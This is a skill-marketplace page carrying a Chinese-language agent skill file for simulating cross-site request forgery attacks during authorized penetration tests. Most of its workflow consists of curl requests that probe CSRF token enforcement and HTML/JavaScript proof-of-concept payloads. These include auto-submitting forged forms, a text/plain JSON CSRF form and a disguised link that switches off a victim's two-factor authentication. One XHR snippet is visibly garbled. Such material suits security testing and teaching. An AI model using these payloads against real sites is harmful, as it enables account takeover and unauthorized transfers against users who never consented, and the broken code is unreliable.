performing-csrf-attack-simulation

在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。

跳到安装

仓库: killvxk/cybersecurity-skills-zh
最近来源活动: 2026年3月17日 21:38
检测到的 SKILL.md 语言: 中文
星标: 42
分支: 9

安装方式

默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。

用 Codex 或 Claude 帮你安装复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。

直接命令不会经过审查 Prompt；运行前请先检查来源。

npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-csrf-attack-simulation

命令会保持在同一行。复制前请横向滚动并检查完整内容。

想先保存到本地？可下载 SkillsMP 当前能够提供的文件。

检查来源文件

决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。

文件资源管理器

4 个文件

SKILL.md

来源说明 · 只读预览

返回搜索返回安装

hunting-for-dns-tunneling-with-zeek

通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型，检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于：当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具（iodine、dnscat2、DNSExfiltrator）的威胁情报时使用。

2026-04-27

implementing-beyondcorp-zero-trust-access-model

实施 Google 的 BeyondCorp 零信任访问模型，通过 IAP、Access Context Manager 和 Chrome Enterprise Premium，消除网络边界的隐式信任，强制执行基于身份的访问控制，实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。

2026-04-27

testing-for-xss-vulnerabilities-with-burpsuite

在授权的安全评估过程中，使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本（XSS）漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS，验证自动化扫描器报告的 XSS 发现，以及评估 CSP 和 XSS 过滤器的有效性时使用。

2026-04-27

查看这个仓库的全部 Skills

name	performing-csrf-attack-simulation
description	在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。
domain	cybersecurity
subdomain	web-application-security
tags	["penetration-testing","csrf","owasp","web-security","session-management","burpsuite"]
version	1.0
author	mahipal
license	Apache-2.0

执行 CSRF 攻击模拟（Performing CSRF Attack Simulation）

适用场景

在授权 Web 应用程序渗透测试期间，识别易受 CSRF 攻击的状态变更操作
测试反 CSRF 令牌实现的有效性时
验证不同浏览器中 SameSite Cookie 属性的强制执行时
评估执行敏感操作的应用程序（密码修改、资金转账、设置变更）时
在对自定义认证和会话管理机制进行安全审计时

前置条件

授权：针对目标的书面渗透测试协议
Burp Suite Professional：具备 CSRF PoC 生成功能
Web 服务器：用于托管 CSRF PoC 页面的本地 HTTP 服务器（Python http.server）
两个浏览器：一个以受害者身份认证，一个作为攻击者
目标应用程序：带有有效测试凭据的已认证会话
HTML/JavaScript 知识：用于构造自定义 CSRF 载荷

工作流程

步骤 1：识别状态变更请求

浏览应用程序，识别所有修改服务器端状态的 POST/PUT/DELETE 请求。

# 在 Burp Suite 中，查看 Proxy > HTTP History
# 过滤 POST/PUT/DELETE 方法
# 重点关注以下操作：
# - 密码/邮箱修改
# - 资金/金钱转账
# - 账户设置变更
# - 添加/删除用户或权限
# - 创建/删除资源
# - 切换安全功能（禁用双因素认证）

# Burp 中捕获的状态变更请求示例：
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

email=newemail@example.com

# 检查反 CSRF 保护：
# - 表单字段或头部中的 CSRF 令牌
# - 自定义头部（X-CSRF-Token、X-Requested-With）
# - SameSite Cookie 属性
# - Referer/Origin 头部验证

步骤 2：分析反 CSRF 令牌实现

测试现有 CSRF 保护的强度和执行情况。

# 检查是否存在 CSRF 令牌
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# 测试 1：完全删除 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 2：发送空的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 3：使用随机/无效的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 4：复用过期/旧的 CSRF 令牌
curl -s -X POST \
  -b "session=abc123" \
  -d "email=test@evil.com&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 测试 5：使用用户 B 的 CSRF 令牌与用户 A 的会话
curl -s -X POST \
  -b "session=user_a_session" \
  -d "email=test@evil.com&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

步骤 3：检查 SameSite Cookie 和头部保护

验证基于浏览器和头部的 CSRF 防御。

# 检查会话 Cookie 上的 SameSite 属性
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# 查找：SameSite=Strict、SameSite=Lax 或 SameSite=None

# SameSite=Lax 允许对顶层 GET 导航进行 CSRF
# SameSite=None; Secure 允许跨站请求
# 无 SameSite 属性：浏览器默认为 Lax（现代浏览器）

# 检查 Origin/Referer 头部验证
# 发送不含 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送含恶意 Referer 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "email=test@evil.com&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# 发送伪造 Origin 的请求
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "email=test@evil.com" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

步骤 4：使用 Burp Suite 生成 CSRF 概念验证

使用 Burp 内置的 CSRF PoC 生成器进行快速测试。

# 在 Burp Suite 中：
# 1. 右键点击 Proxy > HTTP History 中的目标请求
# 2. 选择"Engagement tools">"Generate CSRF PoC"
# 3. 点击"Test in browser"验证 PoC

# Burp 生成如下 HTML：

<!-- 自动提交的表单编码 POST CSRF PoC -->
<html>
  <body>
    <h1>加载中...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

步骤 5：构造高级 CSRF 载荷

针对 JSON API 和其他非标准内容类型，使用高级技术。

<!-- 使用 enctype 的 JSON API CSRF 表单 -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"attacker@evil.com","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- 通过 XMLHttpRequest 的 CSRF（需要宽松的 CORS） -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(.({: }));

步骤 6：测试并验证 CSRF 攻击

托管 PoC 并确认成功利用。

# 启动本地 Web 服务器托管 CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC 文件结构：
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC 页面
#   change-email.html   <- 邮箱修改 CSRF
#   transfer.html       <- 资金转账 CSRF

# 测试步骤：
# 1. 在浏览器 A 中以受害者用户身份登录目标
# 2. 在浏览器 A 中打开 http://localhost:8888/change-email.html
# 3. 检查邮箱是否在未经受害者同意的情况下被修改
# 4. 在应用程序中验证状态变更

# 通过顶层导航绕过 SameSite=Lax：
# 对基于 GET 的 CSRF 使用 window.open 或 anchor 标签

<!-- 使用顶层导航绕过 SameSite=Lax -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">点击此处获得奖励！</a>
    <script>
      // 通过社会工程学上下文自动点击
      // SameSite=Lax 允许在顶层 GET 导航时携带 Cookie
    </script>
  </body>
</html>

核心概念

概念	定义
CSRF	欺骗已认证用户的浏览器向存在漏洞的站点发出非预期请求的攻击
反 CSRF 令牌（Anti-CSRF Token）	绑定到用户会话的唯一不可预测值，必须包含在状态变更请求中
SameSite Cookie	控制 Cookie 在跨站请求中何时发送的浏览器属性（Strict、Lax、None）
Origin 头部	表明请求来源的 HTTP 头部，用于 CSRF 验证
Referer 头部	包含引用页面 URL 的 HTTP 头部，有时用于 CSRF 检查
双重提交 Cookie（Double Submit Cookie）	比较 Cookie 值与请求参数值的 CSRF 防御方式
同步器令牌模式（Synchronizer Token Pattern）	服务器为每个会话或每个请求生成并验证唯一令牌

工具与系统

工具	用途
Burp Suite Professional	CSRF PoC 生成器和请求分析
OWASP ZAP	反 CSRF 令牌检测和 CSRF 测试
XSRFProbe	自动化 CSRF 漏洞扫描器（`pip install xsrfprobe`）
Python http.server	用于托管 CSRF PoC 页面的本地 Web 服务器
Browser DevTools	检查 Cookie、SameSite 属性和网络请求
CSRFTester (OWASP)	用于构造和测试 CSRF 攻击的旧版工具

常见场景

场景 1：无 CSRF 令牌的邮箱修改

邮箱修改表单不包含 CSRF 令牌。攻击者托管一个自动提交表单的页面，将受害者邮箱修改为攻击者地址，从而通过密码重置链实现账户接管。

场景 2：通过令牌绕过的资金转账

银行应用程序具有 CSRF 令牌，但如果参数被完全省略则不进行验证。从转账表单中删除 csrf_token 字段即可实现跨站资金转账。

场景 3：通过内容类型操控的 JSON API CSRF

JSON API 端点不需要自定义头部。在 HTML 表单中使用 enctype="text/plain"，攻击者可以构造有效的 JSON 请求体来修改受害者的账户设置。

场景 4：基于 GET 状态变更的 SameSite=Lax 绕过

设置页面通过 GET 请求修改状态（/settings?disable_2fa=true）。由于 SameSite=Lax 允许在顶层 GET 导航时携带 Cookie，将受害者链接到此 URL 即可禁用其双因素认证。

输出格式

## CSRF 漏洞发现报告

**漏洞**：跨站请求伪造（邮箱修改）
**严重程度**：高（CVSS 8.0）
**位置**：POST /api/account/change-email
**OWASP 类别**：A01:2021 - 访问控制失效

### 复现步骤
1. 以受害者身份在 https://target.example.com 认证
2. 在攻击者控制的服务器上托管以下 HTML
3. 诱使受害者在已认证状态下访问攻击者页面
4. 受害者邮箱在未经同意的情况下被修改为 attacker@evil.com

### 已测试的反 CSRF 防御
| 防御措施 | 是否存在 | 是否强制执行 |
|---------|---------|----------|
| CSRF 令牌 | 否 | 不适用 |
| SameSite Cookie | Lax | 部分（GET 绕过） |
| Origin 验证 | 否 | 不适用 |
| Referer 验证 | 否 | 不适用 |
| 需要自定义头部 | 否 | 不适用 |

### 影响
- 通过邮箱修改 + 密码重置链实现账户接管
- 未授权资金转账
- 设置修改（禁用双因素认证、通知变更）

### 修复建议
1. 对所有状态变更请求实施同步器令牌模式（反 CSRF 令牌）
2. 尽可能在会话 Cookie 上设置 SameSite=Strict
3. 将 Origin 和 Referer 头部验证作为深度防御措施
4. 对敏感操作（密码修改、资金转账）要求重新认证
5. 对 AJAX 端点使用自定义请求头（X-Requested-With）

performing-csrf-attack-simulation

来源信息

安装方式

检查来源文件

同仓库更多 Skills

同仓库更多 Skills

执行 CSRF 攻击模拟（Performing CSRF Attack Simulation）

适用场景

前置条件

工作流程

步骤 1：识别状态变更请求

步骤 2：分析反 CSRF 令牌实现

步骤 3：检查 SameSite Cookie 和头部保护

步骤 4：使用 Burp Suite 生成 CSRF 概念验证

步骤 5：构造高级 CSRF 载荷

步骤 6：测试并验证 CSRF 攻击

核心概念

工具与系统

常见场景

场景 1：无 CSRF 令牌的邮箱修改

场景 2：通过令牌绕过的资金转账

场景 3：通过内容类型操控的 JSON API CSRF

场景 4：基于 GET 状态变更的 SameSite=Lax 绕过

输出格式

执行 CSRF 攻击模拟（Performing CSRF Attack Simulation）

适用场景

前置条件

工作流程

步骤 1：识别状态变更请求

步骤 2：分析反 CSRF 令牌实现

步骤 3：检查 SameSite Cookie 和头部保护

步骤 4：使用 Burp Suite 生成 CSRF 概念验证

步骤 5：构造高级 CSRF 载荷

步骤 6：测试并验证 CSRF 攻击

核心概念

工具与系统

常见场景

场景 1：无 CSRF 令牌的邮箱修改

场景 2：通过令牌绕过的资金转账

场景 3：通过内容类型操控的 JSON API CSRF

场景 4：基于 GET 状态变更的 SameSite=Lax 绕过

输出格式